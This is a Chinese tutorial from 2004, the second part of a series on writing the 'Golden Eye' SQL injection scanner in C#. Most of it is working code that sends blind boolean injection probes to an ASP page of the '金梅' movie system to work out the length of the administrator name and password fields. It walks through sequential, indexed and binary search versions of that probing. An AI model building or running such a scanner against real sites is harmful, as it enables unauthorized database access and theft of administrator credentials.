黄金眼——SQL注入扫描器的制作(2)

黄金眼——SQL注入扫描器的制作(2)

( 作者:mikespook | 发布日期:2004-5-16 | 浏览次数:51 )

关键字:黄金眼,SQL注入,扫描器,C#

程序的编写:

终于可以开始我最喜欢的部分了(^_*)。首先我要说一下我如何选择编程工具。我的很多工具的编写都是基于dotNET平台,用C#编写的。我觉得这种轻量级的工具应该用快速、方便的方法来编写。当然,使用C/C++甚至汇编来编写。你的工具执行效率会非常高。不过是不是太浪费了点呢?

这里我要说点题外话。有朋友在我站上留言说该怎么学编程。我的观点,语言只是一个载体,一种表达方式。我想大家一定有这样的体会:在描述一个事件或是一个物体时。有的时候用语言描述比较准确、方便;有的时候用数字描述更好。就是这个道理。编程,其实你用任何语言都可以。但是应该选择最方便,最快速的。我个人很反对,因为喜欢汇编就排斥C#、JAVA这样的中间件语言。因为喜欢C#或JAVA就排斥C/C++。这都是极端错误的!!!

好了,废话了一大堆,多骗了很多稿费。我只是希望大家理解,因为我今天又要用C#来干活了。嘿嘿……

老办法,先给个界面让大家有感性认识。今天我们就要设计这么一个扫描器(图1):

在界面上放置四个文本框:txtPage、txtName、txtPass、txtLog。分别作为目标页面输入框、管理员名显示框、密码显示框和日志显示框。再放置两个按钮:btnTest、btnOK。作为测试按钮和扫描按钮。然后再放一些标签,做美化和说明作用。界面实在是太简单了。

下面就可以开始编码了。

为了访问我们的目标页面,提交精心准备的SQL注入代码。我们必须要访问网络、使用HTTP协议:连接、发送、接收、断开……等等,我们刚才好象说的是使用C/C++编写的过程。是的,在C#中根本不用这么麻烦。在dotNet类库中已经为我们准备了整套的URL操作类。

在名字空间System.Net下有两个类:HttpWebRequest、HttpWebResponse。分别负责请求(Request)和应答(Response)。具体的使用,请看下面的代码:

        public bool GetPage(string url)

        {

               try

               {  

                      // 值临时变量 r。

                      bool r = false;

                      // 对指定的 URL 创建 HttpWebRequest 对象。

                      HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);

                      // 发送 HttpWebRequest 并等待回应。

                      HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();

                      // 检测 HttpWebRequest 当为 HttpStatusCode.OK 时,设置临时变量为 true。

                      if (myHttpWebResponse.StatusCode == HttpStatusCode.OK)

                             r = true;

                      // 释放 HttpWebRequest 使用的资源。

                      myHttpWebResponse.Close();

                      // 函数返回临时变量 r。

                      return r;                      

               }

               catch(WebException e)

               {

                      //捕捉到 WebException 时函数返回 false。

                      return false;

               }

               catch(Exception e)

               {

                      //捕捉到 Exception 时函数返回 false。

                      return false;

               }

        }

这个函数使用参数url传入目标页面的地址。

“HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);”这句建立一个HttpWebRequest对象和目标页面相连接。

“HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();”将发送一个请求,并建立HttpWebResponse对象接收应答。

应答的代码将存储于“myHttpWebResponse.StatusCode”中。这里的应答代码就是服务器返回的代码。比如200表示访问成功、404表示页面不存在、500表示服务器内部错误(恩,好象前面SQL注入的时候,注入不成功都是显示500错误么。没错,看下面!)……

枚举类型HttpStatusCode中的枚举值就是上面说的服务器返回代码。比如“HttpStatusCode.OK”就代表返回码200;“HttpStatusCode. InternalServerError”就代表返回码500。将这个应答代码“myHttpWebResponse.StatusCode”与枚举值“HttpStatusCode.OK”进行比较。如果相等,那么说明页面访问成功,函数返回true。如果不相等,函数返回false。中间我还用try…catch…捕获任何可能的错误。出现任何错误都返回false。

将这个函数加入主窗体的类中,同时要记得主窗体类要记得使用名字空间System.Net。这样最核心的部分就做好了。下面我们就来看看这个函数怎么用。

在按钮btnTest的Click事件中添加下面的代码:

            private void btnTest_Click(object sender, System.EventArgs e)

              {

                     if(this.GetPage(txtPage.Text + "%20and%201=1"))

                            txtLog.Text = "该页面可能存在 SQL 注入漏洞,可尝试扫描!";

                     else

                            txtLog.Text = "该页面不存在 SQL 注入漏洞,无法扫描! ";

        }

“txtPage.Text + "%20and%201=1"”实际上就是合成SQL注入语句,要将目标页面的地址填写在txtPage文本框中。还记得前面说到的“and 1=1”么?这里只不过用UNICODE对空格进行了编码。使用函数GetPage()判断页面是否可以访问。如果返回true,那么页面可以访问。说明注入测试成功,否则说明失败。

我们自己写的GetPage()函数会用了以后,再来看看如何真正实现扫描吧。这里是最难的地方。但是思考过程会很有意思。

在讲解SQL注入漏洞的时候我说了,可以使用“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=10)”的方法判断用户名长度是不是等于10。在“金梅”系统中,管理员名最大长度为20。那么我们就可以:

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=1)”

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=2)”

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=3)”

……

使用这样的方法来测试管理员名到底为多长。当然,也可以用同样的方法测试密码的长度。不过“金梅”系统设置密码最大长度为50。编写下面的函数:

      private int GetFieldLen(string table, string field, int l, int h)

         {

                for(int i = l; i <= h; i++)

                       if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                              return i;

return 0;

         }

这个函数通用性很强。共有四个参数:table是我们要扫描的表名,在“金梅”系统中就是表password。Field是我们要测试长度的字段名,比如“金梅”系统中的name和pwd两个字段。l和h两个参数代表扫描的范围。也就是测试的最小长度和最大长度。我们可以用这个函数来扫描管理员名,比如:GetFieldLen(“password”, “name”, 1, 20)。这时函数返回的是管理员名长度。如果扫描密码长度可以:GetFieldLen(“password”, “pwd”, 1, 50)。

大家看到的这个函数是“黄金眼”1.0中的函数,可以说非常慢。因为为了比较出字段值长,我们必须逐一的比较。比如很极端的情况,对方设置了一个20位长的管理员名、50位长的密码。那么比较的次数就是20次和50次,才能得到我们需要的长度。这种算法被称为“顺序查找”。算法的优点就是简单。大家可以看到一共用了4行代码,我们就完成了查找。非常遗憾的是虽然编写起来虽然非常简单,但是执行效率低下!在“黄金眼”1.1中我使用“索引查找”来提高了效率:

      private int GetFieldLen(string table, string field, int l, int h)

         {

                int index1 = (l + h) / 3;

                int index2 = (l + h) * 2 / 3;

                if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index1.ToString() + ")"))

                     for(int i = l; i < index1; i++)

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                                     return i;

                if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index2.ToString() + ")"))

                     for(int i = index1; i < index2; i++)

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                                     return i;

              for(int i = index2; i <= h; i++)

                       if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                              return i;

return 0;

         }

是不是看得有点晕了呢?“索引查找”的代码要复杂得多!其实我给大家讲一下什么是“索引查找”上面的代码就很清晰了。大家先看下面的序列:

1、2、3、4、5、6、7、8、9、10、11、12、13、14、15、16、17、18、19、20

这就是我们要查找的序列。在这个查找过程的第一句和第二句:“int index1 = (l + h) / 3;”、“int index2 = (l + h) * 2 / 3;”,我建立的实际上是两个索引。比如这20个元素的查找中,第一个索引为7,第二个索引为14。大家应该注意到了,在每个顺序查找语句的前面都有一个条件语句。这个条件语句就是判断索引。过程大致如下:

判断字段长度是否小于7,如果小于,采用顺序查找查找1-6。

否则

判断字段长度是否小于14,如果小于,采用顺序查找查找7-13。

否则

采用顺序查找查找14-20。

这样利用索引将顺序查找的范围缩小了2/3。查找范围小了,比较次数减少。速度当然就提高了很多。但这是最快的方法么?先看看下面的代码:

       private int GetFieldLen(string table, string field, int l, int h)

         {

                int nLen = 0;

                int low = l;

                int hig = h;

                int mid;

                int tmp = h - l;

                while((low <= hig)&&(tmp!=0))

                {

                       mid = (low + hig)/2;

                       if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + mid.ToString() + ")"))

                              hig = mid - 1;

                       else

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")>" + mid.ToString() + ")"))

                                     low = mid + 1;

                       else

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + mid.ToString() + ")"))

                              {

                                     nLen = mid;

                                     break;

                              }    

                       --tmp;

                }

                return nLen;

         }

很复杂,每次循环都使用“mid = (low + hig)/2;”计算新值。这就是“折半查找”。我使用自然语言描述一下“折半查找”的方法:

循环:当 low < high 或 查找次数达到最大次数

mid = (low + high) / 2 //计算low和high的中间值

判断字段长度是否小于中间值mid,如果小于,令high = mid – 1

否则

判断字段长度是否大于中间值mid,如果大于,令low = mid + 1

否则

判断字段长度是否等于中间值mid,如果等于,返回字段长度。

循环结束;

算法有点难理解么?其实你只要设置一组有序数。然后随机选取一个数,套用上面的算法查找,一步一步做上几次就明白了。Step by Step!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值